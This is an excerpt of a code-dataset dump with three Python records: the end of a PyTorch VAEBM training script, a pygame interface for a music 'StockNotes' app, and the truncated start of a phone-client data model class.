step_size (int): step size in sampling \n Returns-->\n epsilon (torch.Tensor): epsilon sample\n \"\"\"\n vae.eval()\n ebm.eval()\n\n epsilon = torch.randn(kwargs['batch_size'],vae.latent_dim,device=device,requires_grad=True)\n \n log_h_eps = lambda eps: ebm(vae.decoder(eps)) + 0.5 * (torch.linalg.norm(eps,dim=1) ** 2)\n\n for _ in range(kwargs['sample_steps']):\n noise = torch.randn(kwargs['batch_size'],vae.latent_dim,device=device)\n loss = log_h_eps(epsilon)\n loss.sum().backward()\n\n epsilon.grad.data.clamp_(-0.01,0.01)\n\n epsilon.data.add(epsilon.grad.data, alpha=-0.5*kwargs['sample_step_size'])\n epsilon.data.add_(noise, alpha=torch.sqrt(torch.tensor(kwargs['sample_step_size'])))\n\n epsilon.grad.detach_()\n epsilon.grad.zero_()\n \n loss = loss.detach()\n noise = noise.detach()\n\n epsilon = epsilon.detach()\n return epsilon\n\ndef train_vaebm(vae, ebm, dataset, **kwargs):\n \"\"\"\n Train the VAEBM model, with a pre-trained VAE.\n Parameters--->\n vae (torch.nn.module): VAE model used in the VAEBM\n ebm (torch.nn.module): EBM model used in the VAEBM\n dataset (torch.utils.DataLoader): dataset used for training\n Returns--->\n epoch_losses (list of ints): Losses in all epochs of training\n \"\"\"\n\n vae.eval() \n ebm.train()\n \n alpha_e = kwargs['alpha_e']\n alpha_n = kwargs['alpha_n']\n\n data = load_data(\n dataset, \n batch_size=kwargs['batch_size'], \n num_workers=kwargs['num_workers']\n )\n\n optimizer = Adam(params=ebm.parameters(),lr=kwargs['train_step_size'])\n \n for epoch in range(kwargs['train_steps']):\n iterator = tqdm(enumerate(data), total=len(data))\n for idx ,(pos_image, _) in iterator:\n optimizer.zero_grad(set_to_none=True)\n\n with torch.cuda.amp.autocast():\n pos_image = pos_image.to(device)\n \n if kwargs['sample_type'] == 'lang':\n epsilon = langevin_sample(\n vae=vae,ebm=ebm,\n batch_size=kwargs['batch_size'], \n sample_steps=kwargs['sample_steps'],\n sample_step_size=kwargs['sample_step_size']\n )\n else:\n raise Exception('Please choose a valid option from lang')\n\n '''elif kwargs['sample_type'] == 'hmc' \\\n or kwargs['sample_type'] == 'rmhmc':\n epsilon = hamiltonian_sample(\n vae=vae,ebm=ebm,\n sample_type=kwargs['sample_type'],\n batch_size=kwargs['batch_size'], \n sample_steps=kwargs['sample_steps'],\n sample_step_size=kwargs['sample_step_size']\n )'''\n \n \n\n with torch.no_grad():\n neg_image = vae.decoder(epsilon)\n\n pos_energy = ebm(pos_image)\n neg_energy = ebm(neg_image)\n energy_loss = pos_energy - neg_energy\n energy_reg_loss = pos_energy ** 2 + neg_energy ** 2\n spectral_norm_loss = ebm.spec_norm()\n loss = (energy_loss + alpha_e * energy_reg_loss).mean() + alpha_n * spectral_norm_loss\n\n scaler.scale(loss).backward()\n scaler.step(optimizer)\n scaler.update()\n\n pos_image = pos_image.detach()\n neg_image = neg_image.detach()\n pos_energy = pos_energy.detach()\n neg_energy = neg_energy.detach()\n energy_loss = energy_loss.detach()\n energy_reg_loss = energy_reg_loss.detach()\n spectral_norm_loss = spectral_norm_loss.detach()\n epsilon = epsilon.detach()\n loss = loss.detach()\n \n torch.cuda.empty_cache()\n \n if dataset == 'chairs':\n if idx == 2697:\n iterator.close()\n break\n \n if dataset == 'celeba':\n if idx == 6330:\n iterator.close()\n break\n \n torch.save(\n ebm.state_dict(),\n ROOT_DIR+kwargs['vae_type']+'_'+str(dataset)+\"_\"+str(epoch)+'.ckpt'\n )\n \n return 0\n\n\nif __name__=='__main__':\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--vae_type',type=str, default='VAE', help='Choose from VAE, factor, btcvae')\n \n parser.add_argument('--num_workers',type=int, default=2)\n parser.add_argument('--dataset',type=str, default='mnist', help='Dataset: mnist, chairs, celeba')\n parser.add_argument('--batch_size',type=int, default=32)\n\n parser.add_argument('--l2_reg_weight', type=float, default=1.0)\n parser.add_argument('--spectral_norm_weight', type=float, default=0.2)\n\n parser.add_argument('--sample_type',type=str, default='lang', help='Type of sampling: lang, hmc, rmhmc')\n parser.add_argument('--sample_step_size', type=float, default=8e-5)\n parser.add_argument('--sample_steps', type=int, default=10)\n\n parser.add_argument('--train_step_size', type=float, default=4e-5)\n parser.add_argument('--train_steps', type=int, default=15)\n \n args = parser.parse_args()\n\n vae_model_name = args.vae_type + '_' + args.dataset #Choose from VAE, factor-VAE \n vae_model_dir = os.path.join(VAE_DIR,vae_model_name)\n\n vae = load_model(vae_model_dir).to(device)\n vae.eval()\n\n ebm = IGEBM(dataset=args.dataset).to(device)\n ebm.train()\n\n train_vaebm(\n vae=vae,ebm=ebm,\n dataset=args.dataset, batch_size=args.batch_size, num_workers=args.num_workers,\n alpha_e=args.l2_reg_weight, alpha_n=args.spectral_norm_weight, \n sample_type=args.sample_type, vae_type=args.vae_type,\n sample_steps=args.sample_steps, sample_step_size=args.sample_step_size, \n train_steps=args.train_steps, train_step_size=args.train_step_size\n )\n","sub_path":"train_vaebm.py","file_name":"train_vaebm.py","file_ext":"py","file_size_in_byte":8373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"383310191","text":"import pygame, sys\nfrom pygame.locals import *\nimport time\n\n\n# This controls user interface\n\nclass UI:\n\n\tdef __init__(self, width, height, fps):\n\t\tpygame.init()\n\t\tpygame.font.init()\n\t\tpygame.display.set_caption(\"StockNotes\")\n\t\tself.songNameFont = pygame.font.SysFont(\"Gujarati Sangam MN\", 26)\n\t\tself.notesFont = pygame.font.SysFont(\"Gujarati Sangam MN\", 36)\n\t\tself.width = width\n\t\tself.height = height\n\t\tself.fps = fps\n\t\tself.fpsClock = pygame.time.Clock()\n\t\tself.scroll = 0\n\t\tself.surface = pygame.display.set_mode((self.width, self.height))\n\t\t# self.intermediate = pygame.surface.Surface(self.width, self.height + 600)\n\t\tself.surface.fill((255, 255, 255))\n\t\tself.screen = 0\n\t\tself.display()\n\t\tself.evolve()\n\n\tdef evolve(self):\n\t\tself.running = True\n\t\twhile self.running:\n\t\t\tfor event in pygame.event.get():\n\t\t\t\tif event.type == pygame.MOUSEBUTTONDOWN:\n\n\t\t\t\t\tif self.screen == 0:\n\t\t\t\t\t\tmouseX, mouseY = event.pos\n\n\t\t\t\t\t\tif self.enterRect.collidepoint(mouseX, mouseY):\n\t\t\t\t\t\t\tself.screen = 1\n\t\t\t\t\t\t\tself.display()\n\n\t\t\t\t\t\telif self.signUpRect.collidepoint(mouseX, mouseY):\n\t\t\t\t\t\t\tself.screen = 4\n\t\t\t\t\t\t\tself.display()\n\n\t\t\t\t\tif self.screen == 1:\n\t\t\t\t\t\tmouseX, mouseY = event.pos\n\n\t\t\t\t\t\tif self.menuRect.collidepoint(mouseX, mouseY):\n\t\t\t\t\t\t\tself.screen = 2\n\t\t\t\t\t\t\tself.display()\n\n\t\t\t\t\t\telif self.albumFrameRect.collidepoint(mouseX, mouseY):\n\t\t\t\t\t\t\tself.screen = 6\n\t\t\t\t\t\t\tself.display()\n\n\t\t\t\t\tif self.screen == 2:\n\t\t\t\t\t\tmouseX, mouseY = event.pos\n\n\t\t\t\t\t\tif self.overlayRect.collidepoint(mouseX, mouseY):\n\t\t\t\t\t\t\tself.screen = 1\n\t\t\t\t\t\t\tself.display()\n\n\t\t\t\t\t\telif self.profileRect.collidepoint(mouseX, mouseY):\n\t\t\t\t\t\t\tself.screen = 3\n\t\t\t\t\t\t\tself.display()\n\n\t\t\t\t\t\telif self.topRect.collidepoint(mouseX, mouseY):\n\t\t\t\t\t\t\tself.screen = 5\n\t\t\t\t\t\t\tself.display()\n\n\t\t\t\t\t\telif self.signOutRect.collidepoint(mouseX, mouseY):\n\t\t\t\t\t\t\tself.screen = 0\n\t\t\t\t\t\t\tself.display()\n\n\t\t\t\t\tif self.screen == 3:\n\t\t\t\t\t\tmouseX, mouseY = event.pos\n\n\t\t\t\t\t\tif self.backRect.collidepoint(mouseX, mouseY):\n\t\t\t\t\t\t\tself.screen = 2\n\t\t\t\t\t\t\tself.display()\n\n\t\t\t\t\tif self.screen == 4:\n\t\t\t\t\t\tmouseX, mouseY = event.pos\n\n\t\t\t\t\t\tif self.enterRect.collidepoint(mouseX, mouseY):\n\t\t\t\t\t\t\tself.screen = 1\n\t\t\t\t\t\t\tself.display()\n\n\t\t\t\t\t\tif self.logInRect.collidepoint(mouseX, mouseY):\n\t\t\t\t\t\t\tself.screen = 0\n\t\t\t\t\t\t\tself.display()\n\n\t\t\t\t\tif self.screen == 5:\n\t\t\t\t\t\tmouseX, mouseY = event.pos\n\n\t\t\t\t\t\tif self.menuRect.collidepoint(mouseX, mouseY):\n\t\t\t\t\t\t\tself.screen = 2\n\t\t\t\t\t\t\tself.display()\n\n\t\t\t\t\tif self.screen == 6:\n\t\t\t\t\t\tmouseX, mouseY = event.pos\n\n\t\t\t\t\t\tif self.albumRect.collidepoint(mouseX, mouseY):\n\t\t\t\t\t\t\tself.screen = 1\n\t\t\t\t\t\t\tself.display()\n\n\t\t\t\tif event.type == QUIT:\n\t\t\t\t\tpygame.quit()\n\t\t\t\t\tsys.exit()\n\t\t\tpygame.display.update()\n\n\tdef drawSongName(self, surface, text, color, x, y, font):\n\t\ttextobj = font.render(text, False, color)\n\t\ttextrect = textobj.get_rect()\n\t\ttextrect.bottomleft = (x, y)\n\t\tsurface.blit(textobj, textrect)\n\t\treturn\n\n\tdef drawMainNotes(self, surface, text, color, x, y, font):\n\t\ttextobj = font.render(text, False, color)\n\t\ttextrect = textobj.get_rect()\n\t\ttextrect.bottomleft = (x, y)\n\t\tsurface.blit(textobj, textrect)\n\t\treturn\n\n\n\tdef display(self):\n\n\t\tif self.screen == 0:\n\n\t\t\tbackground = pygame.image.load(\"Images/LoginPage.png\")\n\t\t\tloginW, loginH = background.get_size()\n\t\t\tself.background = pygame.transform.scale(background, (loginW / 2, loginH / 2))\n\t\t\tself.surface.blit(self.background, (-10, -9))\n\n\t\t\twelcome = pygame.image.load(\"Images/WelcomeBack.png\")\n\t\t\twW, wH = welcome.get_size()\n\t\t\tself.welcome = pygame.transform.scale(welcome, (wW / 2, wH / 2))\n\t\t\tself.surface.blit(self.welcome, (80, 360))\n\n\t\t\tusername = pygame.image.load(\"Images/Username.png\")\n\t\t\tuW, uH = username.get_size()\n\t\t\tself.username = pygame.transform.scale(username, (uW / 2, uH / 2))\n\t\t\tself.surface.blit(self.username, (60, 410))\n\n\t\t\tuserText = pygame.image.load(\"Images/LoginTextBox.png\")\n\t\t\tuserW, userH = userText.get_size()\n\t\t\tself.userText = pygame.transform.scale(userText, (userW / 2, userH / 3))\n\t\t\tself.surface.blit(self.userText, (50, 440))\n\n\t\t\tpassword = pygame.image.load(\"Images/Password.png\")\n\t\t\tpassW, passH = password.get_size()\n\t\t\tself.password = pygame.transform.scale(password, (passW / 2, passH / 2))\n\t\t\tself.surface.blit(self.password, (60, 480))\n\n\t\t\tpassField = pygame.image.load(\"Images/LoginTextBox.png\")\n\t\t\tself.passField = pygame.transform.scale(passField, (userW / 2, userH / 3))\n\t\t\tself.surface.blit(self.passField, (50, 510))\n\n\t\t\tenter = pygame.image.load(\"Images/EnterButton.png\")\n\t\t\tenterW, enterH = enter.get_size()\n\t\t\tself.enter = pygame.transform.scale(enter, (enterW / 3, enterH / 3))\n\t\t\tself.surface.blit(self.enter, (180, 550))\n\t\t\tself.enterRect = Rect(180, 550, enterW / 3, enterH / 3)\n\n\t\t\tsignUp = pygame.image.load(\"Images/SignUpButton.png\")\n\t\t\tsignUpW, signUpH = signUp.get_size()\n\t\t\tself.signUp = pygame.transform.scale(signUp, (signUpW / 3, signUpH / 3))\n\t\t\tself.surface.blit(self.signUp, (0, 630))\n\t\t\tself.signUpRect = Rect(0, 630, signUpW / 3, signUpH / 3)\n\n\t\telif self.screen == 1:\n\n\t\t\tself.surface.fill((255, 255, 255))\n\n\t\t\tnavBar = pygame.image.load(\"Images/NavbarMain.png\")\n\t\t\tnW, nH = navBar.get_size()\n\t\t\tself.newNav = pygame.transform.scale(navBar, (nW / 3, nH / 2))\n\t\t\tself.surface.blit(self.newNav, (-5, -2))\n\n\t\t\ttitle = pygame.image.load(\"Images/NoteStocks.png\")\n\t\t\ttW, tH = title.get_size()\n\t\t\tself.newTitle = pygame.transform.scale(title, (tW / 2, tH / 2))\n\t\t\tself.surface.blit(self.newTitle, (110, 5))\n\n\t\t\tmenuIcon = pygame.image.load(\"Images/MenuButtonLong.png\")\n\t\t\tmW, mH = menuIcon.get_size()\n\t\t\tself.newMenu = pygame.transform.scale(menuIcon, (mW / 2, mH / 2))\n\t\t\tself.surface.blit(self.newMenu, (self.width - 59, -1))\n\t\t\tself.menuRect = Rect(self.width - 59, -1, mW / 2, mH / 2)\n\n\t\t\tnotes = pygame.image.load(\"Images/NoteIcon.png\")\n\t\t\tnW, nH = notes.get_size()\n\t\t\tself.newNote = pygame.transform.scale(notes, (nW, nH))\n\t\t\tself.surface.blit(self.newNote, (0, 0))\n\n\t\t\thotTracks = pygame.image.load(\"Images/HotTracks.png\")\n\t\t\thW, hH = hotTracks.get_size()\n\t\t\tself.hotTracks = pygame.transform.scale(hotTracks, (hW / 3, hH / 3))\n\t\t\tself.surface.blit(self.hotTracks, (40, 130))\n\n\t\t\talbumFrame = pygame.image.load(\"Images/AlbumFrame.png\")\n\t\t\taW, aH = albumFrame.get_size()\n\t\t\tself.albumFrame = pygame.transform.scale(albumFrame, (aW / 2, aH / 2))\n\t\t\tself.surface.blit(self.albumFrame, (15, 160))\n\t\t\tself.albumFrameRect = Rect(15, 160, aW / 2, aH / 2)\n\n\t\t\tnoteLine = pygame.image.load(\"Images/MainNoteLine.png\")\n\t\t\tlW, lH = noteLine.get_size()\n\t\t\tself.noteLine = pygame.transform.scale(noteLine, (lW / 2, lH / 2))\n\t\t\tself.surface.blit(self.noteLine, (130, 232))\n\n\t\t\tsongName = \"Song Name\"\n\t\t\tsongY = 230\n\t\t\tsongX = 135\n\t\t\tself.drawSongName(self.surface, songName, (0, 0, 0), songX, songY, self.songNameFont)\n\n\t\t\tnotes = 2048\n\t\t\tnotesX = 50\n\t\t\tnotesY = 100\n\t\t\tself.drawMainNotes(self.surface, str(notes), (255, 255, 255), notesX, notesY, self.notesFont)\n\n\n\t\telif self.screen == 2:\n\n\t\t\tself.surface.fill((255, 255, 255))\n\n\t\t\tnavBar = pygame.image.load(\"Images/NavbarMain.png\")\n\t\t\tnW, nH = navBar.get_size()\n\t\t\tself.newNav = pygame.transform.scale(navBar, (nW / 2, nH / 2))\n\t\t\tself.surface.blit(self.newNav, (-60, -2))\n\n\t\t\tmenuIcon = pygame.image.load(\"Images/MenuButtonLong.png\")\n\t\t\tmW, mH = menuIcon.get_size()\n\t\t\tself.newMenu = pygame.transform.scale(menuIcon, (mW / 2, mH / 2))\n\t\t\tself.surface.blit(self.newMenu, (self.width - 70, 12))\n\n\t\t\tnotes = pygame.image.load(\"Images/NoteIcon.png\")\n\t\t\tnW, nH = notes.get_size()\n\t\t\tself.newNote = pygame.transform.scale(notes, (nW, nH))\n\t\t\tself.surface.blit(self.newNote, (0, 0))\n\n\t\t\tmX = self.width - 270\n\t\t\tmY = -2\n\t\t\toX = -58\n\t\t\toY = -1\n\t\t\tpX = self.width - 250\n\t\t\tpY = 100\n\t\t\tgX = self.width - 250\n\t\t\tgY = 170\n\t\t\ttX = self.width - 250\n\t\t\ttY = 240\n\t\t\tsX = self.width - 260\n\t\t\tsY = 20\n\t\t\tx = self.width - 220\n\t\t\ty = self.height - 60\n\n\t\t\tmenuScreen = pygame.image.load(\"Images/MenuBackgroundBlue.png\")\n\t\t\tsW, sH = menuScreen.get_size()\n\t\t\tself.newMenuScreen = pygame.transform.scale(menuScreen, (sW, sH))\n\t\t\tself.surface.blit(self.newMenuScreen, (mX, mY))\n\n\t\t\toverlay = pygame.image.load(\"Images/MenuBackgroundBlack.png\")\n\t\t\toW, oH = overlay.get_size()\n\t\t\tself.newOverlay = pygame.transform.scale(overlay, (oW / 2, oH / 2))\n\t\t\tself.newOverlay.set_colorkey((99, 99, 99))\n\t\t\tself.surface.blit(self.newOverlay, (oX, oY))\n\t\t\tself.overlayRect = Rect(oX, oY, oW / 2, oH / 2)\n\n\t\t\tprofileButton = pygame.image.load(\"Images/ProfileButton.png\")\n\t\t\tpW, pH = profileButton.get_size()\n\t\t\tself.newProfile = pygame.transform.scale(profileButton, (pW / 3, pH / 3))\n\t\t\tself.surface.blit(self.newProfile, (pX, pY))\n\t\t\tself.profileRect = Rect(pX, pY, pW / 3, pH / 3)\n\n\t\t\tgroups = pygame.image.load(\"Images/GroupsButton.png\")\n\t\t\tgW, gH = groups.get_size()\n\t\t\tself.groupsButton = pygame.transform.scale(groups, (gW / 3, gH / 3))\n\t\t\tself.surface.blit(self.groupsButton, (gX, gY))\n\t\t\tself.groupsRect = Rect(gX, gY, gW / 3, gH / 3)\n\n\t\t\ttop = pygame.image.load(\"Images/TopChartsButton.png\")\n\t\t\ttW, tH = top.get_size()\n\t\t\tself.topCharts = pygame.transform.scale(top, (tW / 3, tH / 3))\n\t\t\tself.surface.blit(self.topCharts, (tX, tY))\n\t\t\tself.topRect = Rect(tX, tY, tW / 3, tH / 3)\n\n\t\t\tsearch = pygame.image.load(\"Images/SearchBar.png\")\n\t\t\tsW, sH = search.get_size()\n\t\t\tself.searchBar = pygame.transform.scale(search, (sW / int(2.7), sH / 2))\n\t\t\tself.surface.blit(self.searchBar, (sX, sY))\n\n\t\t\tsignOut = pygame.image.load(\"Images/SignOutButton.png\")\n\t\t\tiW, iH = signOut.get_size()\n\t\t\tself.signOut = pygame.transform.scale(signOut, (iW / 2, iH / 2))\n\t\t\tself.surface.blit(self.signOut, (x, y))\n\t\t\tself.signOutRect = Rect(x, y, iW / 2, iH / 2)\n\n\t\telif self.screen == 3:\n\n\t\t\tself.surface.fill((255, 255, 255))\n\n\t\t\tnavProfile = pygame.image.load(\"Images/NavbarProfile.png\")\n\t\t\tnavW, navH = navProfile.get_size()\n\t\t\tself.navBarProfile = pygame.transform.scale(navProfile, (navW / 2, navH / 2))\n\t\t\tself.surface.blit(self.navBarProfile, (0, -1))\n\n\t\t\tbackProfile = pygame.image.load(\"Images/BackButton.png\")\n\t\t\tbW, bH = backProfile.get_size()\n\t\t\tself.backProfile = pygame.transform.scale(backProfile, (bW / 2, bH / 2))\n\t\t\tself.surface.blit(self.backProfile, (0, 0))\n\t\t\tself.backRect = Rect(0, 0, bW / 2, bH / 2)\n\n\t\t\timage = pygame.image.load(\"Images/Profile.png\")\n\t\t\tmW, mH = image.get_size()\n\t\t\tself.profileImage = pygame.transform.scale(image, (mW / 3, mH / 3))\n\t\t\tself.surface.blit(self.profileImage, (155, 150))\n\n\t\t\tusername = pygame.image.load(\"Images/Username.png\")\n\t\t\tuW, uH = username.get_size()\n\t\t\tself.username = pygame.transform.scale(username, (uW / 2, uH / 2))\n\t\t\tself.surface.blit(self.username, (140, 105))\n\n\t\t\tnotes = pygame.image.load(\"Images/ProfileNoteLine.png\")\n\t\t\tnW, nH = notes.get_size()\n\t\t\tself.notesLine = pygame.transform.scale(notes, (nW / 2, nH / 2))\n\t\t\tself.surface.blit(self.notesLine, (40, 250))\n\n\t\t\tblueLine = pygame.image.load(\"Images/DarkBlueLine.png\")\n\t\t\tbW, bH = blueLine.get_size()\n\t\t\tself.line = pygame.transform.scale(blueLine, (bW / 2, bH / 2))\n\t\t\tself.surface.blit(self.line, (-1, 350))\n\n\t\t\tgraph = pygame.image.load(\"Images/Progress Graph.png\")\n\t\t\tgW, gH = graph.get_size()\n\t\t\tself.graph = pygame.transform.scale(graph, (gW / 3, gH / 3))\n\t\t\tself.surface.blit(self.graph, (5, 380))\n\n\t\t\trefresh = pygame.image.load(\"Images/RefreshButton.png\")\n\t\t\trW, rH = refresh.get_size()\n\t\t\tself.refresh = pygame.transform.scale(refresh, (rW / 2, rH / 2))\n\t\t\tself.surface.blit(self.refresh, (self.width - 100, 360))\n\t\t\tself.refreshRect = Rect(self.width - 100, 360, rW / 2, rH / 2)\n\n\t\telif self.screen == 4:\n\n\t\t\tbackground = pygame.image.load(\"Images/LoginPage.png\")\n\t\t\tloginW, loginH = background.get_size()\n\t\t\tself.background = pygame.transform.scale(background, (loginW / 2, loginH / 2))\n\t\t\tself.surface.blit(self.background, (-10, -9))\n\n\t\t\twelcome = pygame.image.load(\"Images/WhoAreYou.png\")\n\t\t\twW, wH = welcome.get_size()\n\t\t\tself.welcome = pygame.transform.scale(welcome, (wW / 2, wH / 2))\n\t\t\tself.surface.blit(self.welcome, (80, 360))\n\n\t\t\tusername = pygame.image.load(\"Images/Username.png\")\n\t\t\tuW, uH = username.get_size()\n\t\t\tself.username = pygame.transform.scale(username, (uW / 2, uH / 2))\n\t\t\tself.surface.blit(self.username, (70, 410))\n\n\t\t\tuserText = pygame.image.load(\"Images/LoginTextBox.png\")\n\t\t\tuserW, userH = userText.get_size()\n\t\t\tself.userText = pygame.transform.scale(userText, (userW / 2, userH / 3))\n\t\t\tself.surface.blit(self.userText, (60, 440))\n\n\t\t\tpassword = pygame.image.load(\"Images/Password.png\")\n\t\t\tpassW, passH = password.get_size()\n\t\t\tself.password = pygame.transform.scale(password, (passW / 2, passH / 2))\n\t\t\tself.surface.blit(self.password, (70, 480))\n\n\t\t\tpassField = pygame.image.load(\"Images/LoginTextBox.png\")\n\t\t\tself.passField = pygame.transform.scale(passField, (userW / 2, userH / 3))\n\t\t\tself.surface.blit(self.passField, (60, 510))\n\n\t\t\tenter = pygame.image.load(\"Images/EnterButton.png\")\n\t\t\tenterW, enterH = enter.get_size()\n\t\t\tself.enter = pygame.transform.scale(enter, (enterW / 3, enterH / 3))\n\t\t\tself.surface.blit(self.enter, (180, 550))\n\t\t\tself.enterRect = Rect(180, 550, enterW / 3, enterH / 3)\n\n\t\t\tlogIn = pygame.image.load(\"Images/LoginButton.png\")\n\t\t\tsignUpW, signUpH = logIn.get_size()\n\t\t\tself.logIn = pygame.transform.scale(logIn, (signUpW / 3, signUpH / 3))\n\t\t\tself.surface.blit(self.logIn, (self.width - 150, 630))\n\t\t\tself.logInRect = Rect(self.width - 150, 630, signUpW / 3, signUpH / 3)\n\n\t\telif self.screen == 5:\n\n\t\t\tself.surface.fill((255, 255, 255))\n\n\t\t\tnavBar = pygame.image.load(\"Images/NavbarMain.png\")\n\t\t\tnW, nH = navBar.get_size()\n\t\t\tself.newNav = pygame.transform.scale(navBar, (nW / 3, nH / 2))\n\t\t\tself.surface.blit(self.newNav, (-5, -2))\n\n\t\t\ttitle = pygame.image.load(\"Images/TopCharts.png\")\n\t\t\ttW, tH = title.get_size()\n\t\t\tself.newTitle = pygame.transform.scale(title, (tW / 2, tH / 2))\n\t\t\tself.surface.blit(self.newTitle, (110, 5))\n\n\t\t\tmenuIcon = pygame.image.load(\"Images/MenuButtonLong.png\")\n\t\t\tmW, mH = menuIcon.get_size()\n\t\t\tself.newMenu = pygame.transform.scale(menuIcon, (mW / 2, mH / 2))\n\t\t\tself.surface.blit(self.newMenu, (self.width - 59, -1))\n\t\t\tself.menuRect = Rect(self.width - 59, -1, mW / 2, mH / 2)\n\n\t\t\tnotes = pygame.image.load(\"Images/NoteIcon.png\")\n\t\t\tnW, nH = notes.get_size()\n\t\t\tself.newNote = pygame.transform.scale(notes, (nW, nH))\n\t\t\tself.surface.blit(self.newNote, (0, 0))\n\n\t\t\talbumFrame = pygame.image.load(\"Images/AlbumFrame.png\")\n\t\t\taW, aH = albumFrame.get_size()\n\t\t\tself.albumFrame = pygame.transform.scale(albumFrame, (aW / 2, aH / 2))\n\t\t\tself.surface.blit(self.albumFrame, (15, 140))\n\n\t\t\tnoteLine = pygame.image.load(\"Images/MainNoteLine.png\")\n\t\t\tlW, lH = noteLine.get_size()\n\t\t\tself.noteLine = pygame.transform.scale(noteLine, (lW / 2, lH / 2))\n\t\t\tself.surface.blit(self.noteLine, (130, 212))\n\n\t\t\tsongName = \"Song Name\"\n\t\t\tsongY = 210\n\t\t\tsongX = 135\n\t\t\tself.drawSongName(self.surface, songName, (0, 0, 0), songX, songY, self.songNameFont)\n\n\t\telif self.screen == 6:\n\n\t\t\tself.surface.fill((255, 255, 255))\n\n\t\t\tnavBar = pygame.image.load(\"Images/NavbarMain.png\")\n\t\t\tnW, nH = navBar.get_size()\n\t\t\tself.newNav = pygame.transform.scale(navBar, (nW / 3, nH / 2))\n\t\t\tself.surface.blit(self.newNav, (-5, -2))\n\n\t\t\ttitle = pygame.image.load(\"Images/NoteStocks.png\")\n\t\t\ttW, tH = title.get_size()\n\t\t\tself.newTitle = pygame.transform.scale(title, (tW / 2, tH / 2))\n\t\t\tself.surface.blit(self.newTitle, (110, 5))\n\n\t\t\tmenuIcon = pygame.image.load(\"Images/MenuButtonLong.png\")\n\t\t\tmW, mH = menuIcon.get_size()\n\t\t\tself.newMenu = pygame.transform.scale(menuIcon, (mW / 2, mH / 2))\n\t\t\tself.surface.blit(self.newMenu, (self.width - 59, -1))\n\t\t\tself.menuRect = Rect(self.width - 59, -1, mW / 2, mH / 2)\n\n\t\t\tnotes = pygame.image.load(\"Images/NoteIcon.png\")\n\t\t\tnW, nH = notes.get_size()\n\t\t\tself.newNote = pygame.transform.scale(notes, (nW, nH))\n\t\t\tself.surface.blit(self.newNote, (0, 0))\n\n\t\t\thotTracks = pygame.image.load(\"Images/HotTracks.png\")\n\t\t\thW, hH = hotTracks.get_size()\n\t\t\tself.hotTracks = pygame.transform.scale(hotTracks, (hW / 3, hH / 3))\n\t\t\tself.surface.blit(self.hotTracks, (40, 130))\n\n\t\t\talbumFrame = pygame.image.load(\"Images/AlbumFrame.png\")\n\t\t\taW, aH = albumFrame.get_size()\n\t\t\tself.albumFrame = pygame.transform.scale(albumFrame, (aW / 2, aH / 2))\n\t\t\tself.surface.blit(self.albumFrame, (15, 160))\n\n\t\t\tnoteLine = pygame.image.load(\"Images/MainNoteLine.png\")\n\t\t\tlW, lH = noteLine.get_size()\n\t\t\tself.noteLine = pygame.transform.scale(noteLine, (lW / 2, lH / 2))\n\t\t\tself.surface.blit(self.noteLine, (130, 232))\n\n\t\t\tsongName = \"Song Name\"\n\t\t\tsongY = 230\n\t\t\tsongX = 135\n\t\t\tself.drawSongName(self.surface, songName, (0, 0, 0), songX, songY, self.songNameFont)\n\n\t\t\tbuy = pygame.image.load(\"Images/BuyingOverlay.png\")\n\t\t\tbW, bH = buy.get_size()\n\t\t\tself.buy = pygame.transform.scale(buy, (bW / 2, bH / 2))\n\t\t\tself.buy.set_colorkey((99, 99, 99))\n\t\t\tself.surface.blit(self.buy, (0, -120))\n\n\t\t\talbum = pygame.image.load(\"Images/AlbumFrame.png\")\n\t\t\taW, aH = album.get_size()\n\t\t\tself.album = pygame.transform.scale(album, (aW / 2, aH / 2))\n\t\t\tself.surface.blit(self.album, (10, 330))\n\t\t\tself.albumRect = Rect(30, 330, aW / 2, aH / 2)\n\n\t\t\tline = pygame.image.load(\"Images/BuyingLine.png\")\n\t\t\tlW, lH = line.get_size()\n\t\t\tself.line = pygame.transform.scale(line, (lW / 2, lH / 2))\n\t\t\tself.surface.blit(self.line, (-5, 480))\n\n\t\t\tbuyText = pygame.image.load(\"Images/BuyNotes.png\")\n\t\t\ttW, tH = buyText.get_size()\n\t\t\tself.buyText = pygame.transform.scale(buyText, (tW / 2, tH / 2))\n\t\t\tself.surface.blit(self.buyText, (150, 500))\n\n\t\t\tbuy10 = pygame.image.load(\"Images/10Button.png\")\n\t\t\tb10W, b10H = buy10.get_size()\n\t\t\tself.buy10 = pygame.transform.scale(buy10, (b10W / 3, b10H / 3))\n\t\t\tself.surface.blit(self.buy10, (155, 545))\n\n\t\t\tbuy1 = pygame.image.load(\"Images/1Button.png\")\n\t\t\tb1W, b1H = buy1.get_size()\n\t\t\tself.buy1 = pygame.transform.scale(buy1, (b1W / 3, b1H / 3))\n\t\t\tself.surface.blit(self.buy1, (70, 553))\n\n\t\t\tbuy100 = pygame.image.load(\"Images/100Button.png\")\n\t\t\tb100W, b100H = buy100.get_size()\n\t\t\tself.buy100 = pygame.transform.scale(buy100, (b100W / 3, b100H / 3))\n\t\t\tself.surface.blit(self.buy100, (250, 537))\n\n\t\t\tsellText = pygame.image.load(\"Images/SellNotes.png\")\n\t\t\tsellW, sellH = sellText.get_size()\n\t\t\tself.sellText = pygame.transform.scale(sellText, (sellW / 2, sellH / 2))\n\t\t\tself.surface.blit(self.sellText, (150, 600))\n\n\t\t\tself.sell10 = self.buy10\n\t\t\tself.surface.blit(self.sell10, (155, 640))\n\n\t\t\tself.sell1 = self.buy1\n\t\t\tself.surface.blit(self.sell1, (70, 645))\n\n\t\t\tself.sell100 = self.buy100\n\t\t\tself.surface.blit(self.sell100, (250, 630))\n\n\t\t\ttext = \"Name of Song\"\n\t\t\ttextY = 490\n\t\t\ttextX = 10\n\t\t\tself.drawSongName(self.surface, text, (255, 255, 255), textX, textY, self.songNameFont)\n\n\n\t\tpygame.display.update()\n\n\n\nif __name__ == \"__main__\":\n\tUI(414, 736, 30)\n","sub_path":"ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":18601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"71066123","text":"from model.Base import Base\n\n# 手机客户端\nclass Client(Base):\n\t\n\tdef __init__(self):\n\n\t\tBase.__init__(self,'Client')\n\n\t\tself.scheme = {\n\t\t\t# 手机号\n\t\t\t\"phone\":0,\n\t\t\t# 用户id\n\t\t\t\"uid\":\"\",\n\t\t\t# tg的用户名\n\t\t\t\"info\":\"\",\n\t\t\t# 状态 1 开启正常 2 spam 3 